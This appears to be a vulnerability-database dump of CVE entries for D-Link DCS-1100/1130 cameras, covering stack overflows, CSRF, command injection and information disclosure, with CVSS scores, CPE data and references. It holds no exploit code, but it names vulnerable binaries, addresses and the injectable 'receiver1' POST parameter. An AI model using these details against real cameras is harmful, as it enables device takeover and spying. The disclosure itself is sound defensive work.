An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary performs a memcpy operation at address 0x00011E34 with the value sent in the "Authorization: Basic" RTSP header and stores it on the stack. The number of bytes to be copied are calculated based on the length of the string sent in the RTSP header by the client. As a result, memcpy copies more data then it can hold on stack and this results in corrupting the registers for the caller function sub_F6CC which results in memory corruption. The severity of this attack is enlarged by the fact that the same value is then copied on the stack in the function 0x00011378 and this allows to overflow the buffer allocated and thus control the PC register which will result in arbitrary code execution on the device.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1100_firmware | - | |
| dlink | dcs-1100 | - | |
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "554817F7-7E3D-4D69-90AC-46D86056143B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary performs a memcpy operation at address 0x00011E34 with the value sent in the \"Authorization: Basic\" RTSP header and stores it on the stack. The number of bytes to be copied are calculated based on the length of the string sent in the RTSP header by the client. As a result, memcpy copies more data then it can hold on stack and this results in corrupting the registers for the caller function sub_F6CC which results in memory corruption. The severity of this attack is enlarged by the fact that the same value is then copied on the stack in the function 0x00011378 and this allows to overflow the buffer allocated and thus control the PC register which will result in arbitrary code execution on the device."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1100 y DCS-1130 de D-Link. El rtspd binario en la carpeta /sbin del dispositivo maneja todas las conexiones rtsp recibidas por el dispositivo. Al parecer el binario realiza una operaci\u00f3n memcpy en la direcci\u00f3n 0x00011E34 con el valor enviado en el encabezado RTSP \"Authorization: Basic\" y lo almacena en la pila. El n\u00famero de bytes que se copiar\u00e1n se calcula seg\u00fan la longitud de la cadena enviada por el cliente en el encabezado RTSP. Como resultado, memcpy copia m\u00e1s datos que luego puede mantener en la pila y esto resulta en una corrupci\u00f3n de los registros sub_F6CC de la funci\u00f3n caller, lo que resulta en la corrupci\u00f3n de la memoria. La severidad de este ataque se incrementa por el hecho de que el mismo valor se copia en la pila en la funci\u00f3n 0x00011378 y esto permite desbordar el b\u00fafer asignado y, por lo tanto, controlar el registro de la PC, que resultar\u00e1 en una ejecuci\u00f3n de c\u00f3digo arbitraria en el dispositivo."
}
],
"id": "CVE-2017-8410",
"lastModified": "2024-11-21T03:33:59.000",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T20:15:11.120",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-119"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 19:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of changing the administrative password for the web management interface. It seems that the device does not implement any cross-site request forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface to change the user's password.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of changing the administrative password for the web management interface. It seems that the device does not implement any cross-site request forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface to change the user\u0027s password."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1130 de D-Link. El dispositivo provee a un usuario la capacidad de cambiar la contrase\u00f1a administrativa para la interfaz de administraci\u00f3n web. Al parecer el dispositivo no implementa ning\u00fan mecanismo de protecci\u00f3n contra un problema de tipo Cross-Site Request forgery que permite a un atacante enga\u00f1ar a un usuario que ha iniciado sesi\u00f3n en la interfaz de administraci\u00f3n web para cambiar la contrase\u00f1a del usuario."
}
],
"id": "CVE-2017-8407",
"lastModified": "2024-11-21T03:33:58.520",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T19:15:10.493",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-352"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 21:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom binary called mp4ts under the /var/www/video folder. It seems that this binary dumps the HTTP VERB in the system logs. As a part of doing that it retrieves the HTTP VERB sent by the user and uses a vulnerable sprintf function at address 0x0000C3D4 in the function sub_C210 to copy the value into a string and then into a log file. Since there is no bounds check being performed on the environment variable at address 0x0000C360 this results in a stack overflow and overwrites the PC register allowing an attacker to execute buffer overflow or even a command injection attack.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Not Applicable, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Not Applicable, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - | |
| dlink | dcs-1100_firmware | - | |
| dlink | dcs-1100 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "554817F7-7E3D-4D69-90AC-46D86056143B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom binary called mp4ts under the /var/www/video folder. It seems that this binary dumps the HTTP VERB in the system logs. As a part of doing that it retrieves the HTTP VERB sent by the user and uses a vulnerable sprintf function at address 0x0000C3D4 in the function sub_C210 to copy the value into a string and then into a log file. Since there is no bounds check being performed on the environment variable at address 0x0000C360 this results in a stack overflow and overwrites the PC register allowing an attacker to execute buffer overflow or even a command injection attack."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1100 y DCS-1130 de D-Link. El dispositivo presenta un binario personalizado llamado mp4ts en la carpeta /var/www/video. Al parecer este binario vuelca el VERB HTTP en los registros del sistema. Como parte de ello, recupera el VERB HTTP enviado por el usuario y usa una funci\u00f3n sprintf vulnerable en la direcci\u00f3n 0x0000C3D4 en la funci\u00f3n sub_C210 para copiar el valor en una cadena y luego en un archivo de registro. Dado que no se realiza ninguna comprobaci\u00f3n de l\u00edmites en la variable de entorno en la direcci\u00f3n 0x0000C360, esto resulta en un desbordamiento de pila y sobrescribe el registro PC, lo que permite a un atacante ejecutar un desbordamiento de b\u00fafer o incluso un ataque de inyecci\u00f3n de comando."
}
],
"id": "CVE-2017-8412",
"lastModified": "2024-11-21T03:33:59.320",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:A/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 6.5,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T21:15:10.103",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Not Applicable",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Not Applicable",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-119"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 19:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a "system" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library "libmailutils.so" is the one that has the vulnerable function "sub_1FC4" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter "receiver1" is extracted in function "sub_15AC" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in "cgibox" binary at address 0x00023BCC which calls the "Send_mail" function in "libmailutils.so" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the POST parameters passed in this request (to test if email credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The library \"libmailutils.so\" is the one that has the vulnerable function \"sub_1FC4\" that receives the values sent by the POST request. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function sub_1FC4 in IDA pro is identified to be receiving the values sent in the POST request and the value set in POST parameter \"receiver1\" is extracted in function \"sub_15AC\" which is then passed to the vulnerable system API call. The vulnerable library function is accessed in \"cgibox\" binary at address 0x00023BCC which calls the \"Send_mail\" function in \"libmailutils.so\" binary as shown below which results in the vulnerable POST parameter being passed to the library which results in the command injection issue."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1130 de D-Link. El dispositivo provee al usuario la capacidad de configurar una carpeta SMB para los recortes de v\u00eddeo grabados por el dispositivo. Al parecer los par\u00e1metros POST pasados ??en esta petici\u00f3n (para probar si las credenciales de correo electr\u00f3nico y el nombre de host enviados al dispositivo funcionan apropiadamente) dan como resultado que sean pasados como comandos a una API de \"system\" en la funci\u00f3n y, por lo tanto, resulten en una inyecci\u00f3n de comandos en el dispositivo. Si la versi\u00f3n del firmware se disecciona con la herramienta binwalk, obtenemos un archivo cramfs-root que contiene el sistema de archivos configurado en el dispositivo que contiene todos los archivos binarios. La biblioteca \"libmailutils.so\" es la que tiene la funci\u00f3n vulnerable \"sub_1FC4\" que recibe los valores enviados por la petici\u00f3n POST. Si abrimos este binario en IDA-pro, notaremos que este sigue un formato ARM en little endian. La funci\u00f3n sub_1FC4 en IDA pro est\u00e1 identificada para recibir los valores enviados en la petici\u00f3n POST y el valor establecido en el par\u00e1metro POST \"receiver1\" se extrae en la funci\u00f3n \"sub_15AC\" que luego se pasa hacia la llamada API del sistema vulnerable. Se accede a la funci\u00f3n de la biblioteca vulnerable en el binario \"cgibox\" en la direcci\u00f3n 0x00023BCC que llama a la funci\u00f3n \"Send_mail\" en el binario \"libmailutils.so\" como se muestra a continuaci\u00f3n, lo que hace que el par\u00e1metro POST vulnerable se transfiera hacia la biblioteca, lo que resulta en el problema de inyecci\u00f3n de comandos ."
}
],
"id": "CVE-2017-8411",
"lastModified": "2024-11-21T03:33:59.163",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 9.3,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 10.0,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T19:15:10.570",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-77"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2020-01-28 21:15
Modified
2024-11-21 01:49
Severity ?
Summary
An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-3411_firmware | 1.02 | |
| dlink | dcs-3411 | - | |
| dlink | dcs-3430_firmware | 1.02 | |
| dlink | dcs-3430 | - | |
| dlink | dcs-5605_firmware | 1.01 | |
| dlink | dcs-5605 | - | |
| dlink | dcs-5635_firmware | 1.01 | |
| dlink | dcs-5635 | - | |
| dlink | dcs-1100l_firmware | 1.04 | |
| dlink | dcs-1100l | - | |
| dlink | dcs-1130l_firmware | 1.04 | |
| dlink | dcs-1130l | - | |
| dlink | dcs-1100_firmware | 1.03 | |
| dlink | dcs-1100_firmware | 1.04 | |
| dlink | dcs-1100 | - | |
| dlink | dcs-1130_firmware | 1.03 | |
| dlink | dcs-1130_firmware | 1.04 | |
| dlink | dcs-1130 | - | |
| dlink | dcs-2102_firmware | 1.05 | |
| dlink | dcs-2102_firmware | 1.06 | |
| dlink | dcs-2102 | - | |
| dlink | dcs-2121_firmware | 1.05 | |
| dlink | dcs-2121_firmware | 1.06 | |
| dlink | dcs-2121 | - | |
| dlink | dcs-3410_firmware | 1.02 | |
| dlink | dcs-3410 | - | |
| dlink | dcs-5230_firmware | 1.02 | |
| dlink | dcs-5230 | - | |
| dlink | dcs-5230l_firmware | 1.02 | |
| dlink | dcs-5230l | - | |
| dlink | dcs-6410_firmware | 1.00 | |
| dlink | dcs-6410 | - | |
| dlink | dcs-7410_firmware | 1.00 | |
